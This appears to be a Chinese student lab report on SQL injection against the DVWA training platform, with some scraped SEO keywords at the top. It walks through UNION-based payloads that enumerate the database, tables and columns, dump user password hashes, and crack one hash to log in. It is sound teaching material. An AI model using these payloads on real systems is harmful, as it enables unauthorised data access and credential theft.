最好的建设网站,做网站客户会问什么问题,安徽建设工程信息网官方网站,app项目策划书一、实验目的要求#xff1a;
二、实验设备与环境#xff1a;
三、实验原理#xff1a;
四、实验步骤#xff1a;
五、实验现象、结果记录及整理#xff1a;
六、分析讨论与思考题解答#xff1a;
七、实验截图#xff1a; 一、实验目的要求#xff1a;
1、…一、实验目的要求
二、实验设备与环境
三、实验原理
四、实验步骤
五、实验现象、结果记录及整理
六、分析讨论与思考题解答
七、实验截图 一、实验目的要求
1、掌握SQL注入的原理。
2、通过开源网站渗透平台DVWA实战掌握常见的SQL注入方法。
3、具体内容
1学习配置开源网站渗透平台DVWADamn Vulnerable Web Application。
2学习常见的SQL语句create、select、drop、union等。
3学习相关SQL注入方法并在实验平台验证 二、实验设备与环境 三、实验原理
1、SQL基础
结构化查询语言(Structured Query Language)简称SQL是一种特殊目的的编程语言是一种数据库查询和程序设计语言用于存取数据以及查询、更新和管理关系数据库系统。
标准的SQL命令有select、insert、update、delete、create和drop其中select语句是SQL的核心用于查询数据库并检索你所指定条件的数据。select语句有五个主要的子句from是唯一必须的子句。每一个子句都有大量的选择项、参数等。SELECT语句的格式为
select column1[,column2]
from table1[,table2] 指定表
[where “conditions”] 条件
[group by “column-list”] 聚合函数
[having “conditions] 为组指定条件
[order by “column-list”] 顺序显示结果
2、SQL注入原理
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句在管理员不知情的情况下实现非法操作以此来实现欺骗数据库服务器执行非授权的任意查询从而进一步得到相应的数据信息。
SQL注入的基本思想
1查找入口常见入口主要有表单提交GET、POST、URL参数提交GET、HTTP请求头部可修改的值Referer、User_Agent等
2判断SQL注入漏洞的类型字符型、整型等
3确定SELECT语句的字段数
4查找数据库以及user表
5确定users表对应的字段名
6获取全部用户信息
3、DVWA平台
DVWA是一款基于PHP和mysql开发的web靶场练习平台集成了常见的web漏洞如sql注入,xss密码破解等常见漏洞。此平台可自定义安全等级分别为低、中、高三个等级。此次实验运用的是低等级。这个等级是针对完全的安全脆弱和没有安全性可言的网站。
四、实验步骤
一启动平台
1、启动服务执行命令启动Web相关服务启动apache2服务和mysql服务。
# service apache2 start
# service mysql start
2、等级设置访问地址http://locallhost/dvwa并登录用户名:admin密码:password单击左侧DVWA Security标签设置安全等级为Low并提交。
二查找漏洞
1、数字测试单击“SQL Injection”标签即SQL注入。攻击者在web表单或者页面请求的查询字符串中通过注入恶意的SQL命令从而使数据库执行恶意的SQL语句。在“User ID”编辑框输入数字1查看结果后再输入2。可看出输入的参数被传入Web后台 2、字符测试继续在编辑框输入内容输入“User ID:1’”发现SQL报错。其原因是标准的SQL查询语句为select firstname,surname from users where id 1;当再加入一个引号时则导致语法错误select firstname,surname from users where id 1;。
3、得出结论Web漏洞为id漏洞类型为字符型。
三执行SQL注入
1、猜测字段数输入“1’ union select 1,2#”。union 是联和查询的一个关键字这个有一个前提就是必须满足所有的列是相同的所以在这前面必须要添加一些没有意义的列来作为填充。输出了First name、Surname。实际上后台执行的SQL语句为“select firstname,surname from users where id ‘1’ union select 1,2#’”;字符’#’恰好起到注释的作用。再输入“1’ union select 1,2,3#”结果报错提示SQL语句字段数不对应可得出字段数是2。
2、获取数据库名、用户名输入“1’ union select database(),user()#”联合查询以获取数据库信息。得出当前使用的数据库为dvwa当前的用户名rootlocalhost。
3、获取当前用户表输入“-1 union select table_name,2 from information_schema.tables where table_schema dvwa#”结果输出表为guestbook表、users表。我们已获得数据库名称为dvwa数据库表为users。
4、获取用户表列名“-1 union select column_name,2 from information_schema.columns where table_schema dvwa and table_name users#”。该数据表存储了mysql数据库中的所有列的列名。结果输出用户表user存在重要的两列user、password。根据这两列就可以轻松获取网站的用户信息。
5、获取全部用户信息“-1 union select user,password from users#”。将表中的信息全部输出获取的密码经过了MD5加密可以在网站PMD5在线解密。
6、测试以用户1337为例解密后的密码为charley。选择“Brute Force”标签即进行暴力破解。验证密码正确性。输入用户名和经过解密后的密码单击“Login”按钮成功登录SQL注入成功。
五、实验现象、结果记录及整理
1、在查找漏洞中通过2次测试得出漏洞为id、漏洞类型为字符型但在实际运用中需通过多次测试才可找出
2、在执行SQL注入中先是反复猜测字段数、再获取数据库名、用户名、当前用户表、用户表列名层层递进最后得到全部用户信息。采用从外到内的方法逐一突破并获取有用的数据。
六、分析讨论与思考题解答
1、实际场景中SQL注入的基本步骤是什么
1注入点测试
2查询字段数
3判断回显位
4查询数据库的基本信息
5爆数据库名
6爆数据库表名
7爆字段名
2、渗透测试中常用的几个函数和表库名有哪些 3、二阶SQL注入流程是什么 七、实验截图